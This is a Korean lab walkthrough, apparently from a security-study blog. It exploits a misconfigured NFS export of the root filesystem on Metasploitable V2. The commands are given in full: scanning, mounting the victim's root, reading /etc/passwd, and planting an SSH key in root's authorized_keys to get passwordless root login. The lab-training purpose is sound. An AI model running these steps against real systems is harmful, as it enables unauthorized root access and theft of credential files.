(2) 버그를 공격하는 경우(NFS 전체 공유의 취약점)
잘못된 NFS 설정을 공격하는 경우
■ 실습 시스템
- linux200 (EX: attacker system)
- Metasploitable V2 Linux (EX: victim system)
■ 공격의 개요
This is about as easy as it gets. The next service we should look at is the Network File System
(NFS). NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services.
The example below using rpcinfo to identify NFS and showmount -e to determine that the "/" share
(the root of the file system) is being exported. You will need the rpcbind and nfs-common Ubuntu packages
to follow along.
분산 파일시스템의 종류(Distributed File System)- CIFS/SMB- NFS
리눅스 시스템에서 CIFS/SMB 프로토콜을 지원하기 위한 프로그램 => samba
NFS(Network File System) : Linux 공유 자원을 Linux 클라이언트가 사용하기 위한 파일시스템
■ 취약점 공격 과정(NFS 전체 공유의 취약점)
(linux200)
① NFS 서비스 확인
# nmap -p 2049 192.168.10.0/24
.....
Interesting ports on 192.168.10.134:
PORT STATE SERVICE
2049/tcp open nfs
# rpcinfo -p 192.168.10.134
서비스 설명정보 출력
② 공유 자원 확인 및 마운트
# showmount -e 192.168.10.134
# mkdir -p /mnt/nfs
# mount 192.168.10.134:/ /mnt/nfs
# df -h
Filesystem Size Used Avail Use% Mounted on /dev/sda1 38G 3.3G 33G 10% / /dev/sda3 487M 11M 451M 3% /home tmpfs 506M 0 506M 0% /dev/shm 192.168.10.134:/ 7.0G 1.5G 5.2G 22% /mnt/nfs |
# cd /mnt/nfs ; ls
# cat etc/passwd
-> 앞에 '/'를 지정하지 않았다. 상대편 정보를 확인할 수 있다.
③ ssh-keygen 명령어를 통한 private/public key 생성
Getting access to a system with a writeable filesystem like this is trivial. To do so (and because SSH is running), we will generate a new SSH key on our attacking system, mount the NFS export, and add our key to the root user account's authorized_keys file.
# ssh-keygen
Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): <ENTER> /root/.ssh/id_rsa already exists. Overwrite (y/n)? y Enter passphrase (empty for no passphrase): <ENTER> Enter same passphrase again: <ENTER> Your identification has been saved in /root/.ssh/id_rsa. Your public key has been saved in /root/.ssh/id_rsa.pub. The key fingerprint is: 48:07:12:6b:b8:46:a7:80:c2:6d:74:c6:51:95:f7:c1 root@linux249.example.com |
④ metasploitable V2 Linux 서버 ~/root/.ssh/authorized_keys 파일에 내용 추가
# cat ~/.ssh/id_rsa.pub >> /mnt/nfs/root/.ssh/authorized_keys
# cat /mnt/nfs/root/.ssh/authorized_keys
(명령어(쓰기) 가능한 상태)
⑤ /mnt/nfs 언마운트(umount) 작업
# cd
# umount /mnt/nfs
# df -h
⑥ ssh 명령어를 통해 meta 서버에 접속하기
# ssh root@192.168.10.134
root@metasploitable:~#
-> 암호 입력 없이 정상적으로
-> 원격에서 어떤 작업이건 가능한 상태가 되었다.
# ssh 192.168.10.134 hostname
# ssh 192.168.10.134 cat /etc/exports
# ssh 192.168.10.134 cat /etc/passwd
'Learning > └◆Metasploit' 카테고리의 다른 글
Metasploitable V2 Linux 서버의 취약점(IRC) (0) | 2017.01.10 |
---|---|
Metasploitable V2 Linux 서버의 취약점(Backdoor) (0) | 2017.01.09 |
Metasploitable V2 Linux 서버의 취약점(rhosts) (0) | 2017.01.09 |
metasploit 20. DNS + ARP Spoofing + Fake Web site (0) | 2017.01.06 |